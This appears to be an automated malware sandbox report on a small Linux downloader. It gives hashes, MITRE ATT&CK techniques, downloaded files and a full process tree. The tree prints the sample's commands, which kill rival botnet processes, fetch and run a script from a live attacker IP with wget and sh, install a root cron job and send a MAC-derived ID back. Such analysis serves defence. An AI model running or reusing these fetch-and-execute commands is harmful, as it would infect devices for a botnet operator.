b393b7929448a719cb78ae767035bcb732e04eec7923abb573aa12e62686cc94

Analysis

max time kernel
9s
max time network
13s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/09/2026, 08:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dlr.x86-64
Size 2KB
Sample260930-j5ctbs1fkc
SHA256 b393b7929448a719cb78ae767035bcb732e04eec7923abb573aa12e62686cc94
MD5 e89db3dda107abb86b3e9f8e64c47d95
SHA1 8cadc572373168133770bc31552563a5a079245a
SHA512 e9512c305a6926f214aa3bdd7ad94a0d818c65d3b17a54b527ec851aadbea510b2fd71ea5008c6546473d5b9ac1ff83d1238c8b6bbf4a7fd12017855bda29329
TLSH
T1594168F8F930D6717DA9C739F31C10BA698799BB04607764900BBD28B48C05CF689671
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
758	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/701/cmdline	killall
File opened for reading	/proc/378/stat	killall
File opened for reading	/proc/81/stat	killall
File opened for reading	/proc/378/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/111/stat	killall
File opened for reading	/proc/80/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/149/cmdline	killall
File opened for reading	/proc/676/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/174/stat	killall
File opened for reading	/proc/81/stat	killall
File opened for reading	/proc/699/cmdline	killall
File opened for reading	/proc/675/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/733/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/379/stat	killall
File opened for reading	/proc/329/stat	killall
File opened for reading	/proc/675/stat	killall
File opened for reading	/proc/80/stat	killall
File opened for reading	/proc/379/stat	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/122/cmdline	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/378/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/383/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/174/stat	killall
File opened for reading	/proc/149/cmdline	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/81/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/701/cmdline	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/759/stat	killall
File opened for reading	/proc/670/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/71/stat	killall
File opened for reading	/proc/383/stat	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/122/stat	killall
File opened for reading	/proc/417/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/661/stat	killall
File opened for reading	/proc/701/stat	killall

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
719	killall
747	killall
762	killall
774	killall
790	ip
799	wget

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/kla	wget
File opened for modification	/tmp/.xmH	touch

/tmp/dlr.x86-64
/tmp/dlr.x86-64
1⤵
PID:709
- /usr/bin/killall
  killall -9 robben
  2⤵
  PID:711
- /usr/bin/killall
  killall -9 net.x86
  2⤵
  - Reads runtime system information
  PID:713
- /usr/bin/killall
  killall -9 net.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:719
- /usr/bin/killall
  killall -9 net.arm
  2⤵
  - Reads runtime system information
  PID:722
- /usr/bin/killall
  killall -9 net.arm5
  2⤵
  - Reads runtime system information
  PID:725
- /usr/bin/killall
  killall -9 net.arm6
  2⤵
  PID:728
- /usr/bin/killall
  killall -9 net.arm7
  2⤵
  - Reads runtime system information
  PID:731
- /usr/bin/killall
  killall -9 net.mpsl
  2⤵
  - Reads runtime system information
  PID:734
- /usr/bin/killall
  killall -9 net.ppc
  2⤵
  - Reads runtime system information
  PID:737
- /usr/bin/killall
  killall -9 net.m68k
  2⤵
  PID:739
- /usr/bin/killall
  killall -9 net.sh4
  2⤵
  - Reads runtime system information
  PID:740
- /usr/bin/killall
  killall -9 net.i486
  2⤵
  - Reads runtime system information
  PID:742
- /usr/bin/killall
  killall -9 net.i686
  2⤵
  - Reads runtime system information
  PID:744
- /usr/bin/killall
  killall -9 px86
  2⤵
  - Reads runtime system information
  PID:745
- /usr/bin/killall
  killall -9 pmips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:747
- /usr/bin/killall
  killall -9 parm
  2⤵
  - Reads runtime system information
  PID:749
- /usr/bin/killall
  killall -9 hajime
  2⤵
  - Reads runtime system information
  PID:751
- /usr/bin/killall
  killall -9 sora
  2⤵
  - Reads runtime system information
  PID:752
- /bin/rm
  rm -f kla
  2⤵
  PID:754
- /usr/bin/wget
  wget -q -O kla http://94.154.43.203:8080/cur.sh
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 kla
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /bin/sh
  sh kla cn
  2⤵
  - Creates/modifies Cron job
  PID:759
- - /usr/bin/killall
    killall -9 robben
    3⤵
    - Reads runtime system information
    PID:760
- - /usr/bin/killall
    killall -9 net.x86
    3⤵
    - Reads runtime system information
    PID:761
- - /usr/bin/killall
    killall -9 net.mips
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:762
- - /usr/bin/killall
    killall -9 net.arm
    3⤵
    PID:763
- - /usr/bin/killall
    killall -9 net.arm5
    3⤵
    - Reads runtime system information
    PID:764
- - /usr/bin/killall
    killall -9 net.arm6
    3⤵
    - Reads runtime system information
    PID:765
- - /usr/bin/killall
    killall -9 net.arm7
    3⤵
    - Reads runtime system information
    PID:766
- - /usr/bin/killall
    killall -9 net.mpsl
    3⤵
    - Reads runtime system information
    PID:767
- - /usr/bin/killall
    killall -9 net.ppc
    3⤵
    - Reads runtime system information
    PID:768
- - /usr/bin/killall
    killall -9 net.m68k
    3⤵
    - Reads runtime system information
    PID:769
- - /usr/bin/killall
    killall -9 net.sh4
    3⤵
    - Reads runtime system information
    PID:770
- - /usr/bin/killall
    killall -9 net.i486
    3⤵
    - Reads runtime system information
    PID:771
- - /usr/bin/killall
    killall -9 net.i686
    3⤵
    - Reads runtime system information
    PID:772
- - /usr/bin/killall
    killall -9 px86
    3⤵
    - Reads runtime system information
    PID:773
- - /usr/bin/killall
    killall -9 pmips
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:774
- - /usr/bin/killall
    killall -9 parm
    3⤵
    - Reads runtime system information
    PID:775
- - /usr/bin/killall
    killall -9 hajime
    3⤵
    - Reads runtime system information
    PID:776
- - /usr/bin/killall
    killall -9 sora
    3⤵
    - Reads runtime system information
    PID:777
- - /usr/sbin/cron
    /usr/sbin/cron
    3⤵
    PID:778
- - /usr/bin/cron
    /usr/bin/cron
    3⤵
    PID:779
- - /usr/bin/killall
    killall -1 crond
    3⤵
    - Reads runtime system information
    PID:780
- - /usr/bin/killall
    killall -1 cron
    3⤵
    - Reads runtime system information
    PID:781
- - /usr/bin/touch
    touch /tmp/.xmH
    3⤵
    - Writes file to tmp directory
    PID:782
- - /bin/grep
    grep -iE "hwaddr|ether"
    3⤵
    PID:785
- - /bin/grep
    grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
    3⤵
    PID:786
- - /usr/bin/head
    head -1
    3⤵
    PID:787
- - /usr/bin/tr
    tr -d :
    3⤵
    PID:788
- - /usr/bin/tr
    tr -d :
    3⤵
    PID:794
- - /usr/bin/head
    head -1
    3⤵
    PID:793
- - /bin/grep
    grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
    3⤵
    PID:792
- - /bin/grep
    grep -iE link/ether
    3⤵
    PID:791
- - /sbin/ip
    ip addr show
    3⤵
    - System Network Configuration Discovery
    PID:790
- - /usr/bin/wget
    wget -q -O - http://94.154.43.203:8080/lease_xm-faf51bda009a
    3⤵
    PID:795
- - /bin/cat
    cat /tmp/.xmver
    3⤵
    PID:796
- - /usr/bin/killall
    killall -9 xm
    3⤵
    - Reads runtime system information
    PID:797
- - /bin/rm
    rm -f /tmp/.xmH
    3⤵
    PID:798

/usr/bin/wget
wget -q -O /dev/null http://94.154.43.203:8080/skip_xm-faf51bda009a_v18
1⤵
- System Network Configuration Discovery
PID:799

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

kla

Path /tmp/kla
Size 7KB
SHA256 2c0ff31a6c025503b64a607a66b2de68df8fdd28bc5f3bd6e3006ed8d75d0a0a
MD5 65b4049e90fdf52f3ed3cf2481f551fc
SHA1 1dee02162253c33668657432a42464fa54ccb7af
SHA512 516afb82a36be8d96ed879c05bf8294e1342c95f0fb0c2525330fa3427c32d0b25182b2fd2c7ea321316f323d8c0e5180f98f01a22600d52152735049ef010f9
SSDEEP 96:ZDqNGuCzLZli58OZyrQQ3j6PF6bVCq986+8UCsFAUGWGpMeZU3sSAY8t:ZqNG7ZlM8OZBkS6b/+8UPFvVJAYA
TLSH
T126E130F5F530C635744DC679F28D62A28E878C7F4AB43F54A44BA918360C58CB12EBB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 88B
SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
MD5 1faecacdff4e77aa696e38941020dcd6
SHA1 0fbb6db7b532a15fb42aebdf2416c0869882cf4f
SHA512 a4deba406ae0a6b1d38ec60877f4a1d76e9ee527b9baa5e76fc00c9bb566163b1666f47d11870a867e7b1233e295a5e004215a7460dc18e148f6a02602d6c0dc
TLSH
T1AFB012E016001A300141D2243212A8A06107E0C0051309B9546E0C04285D713B614540
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads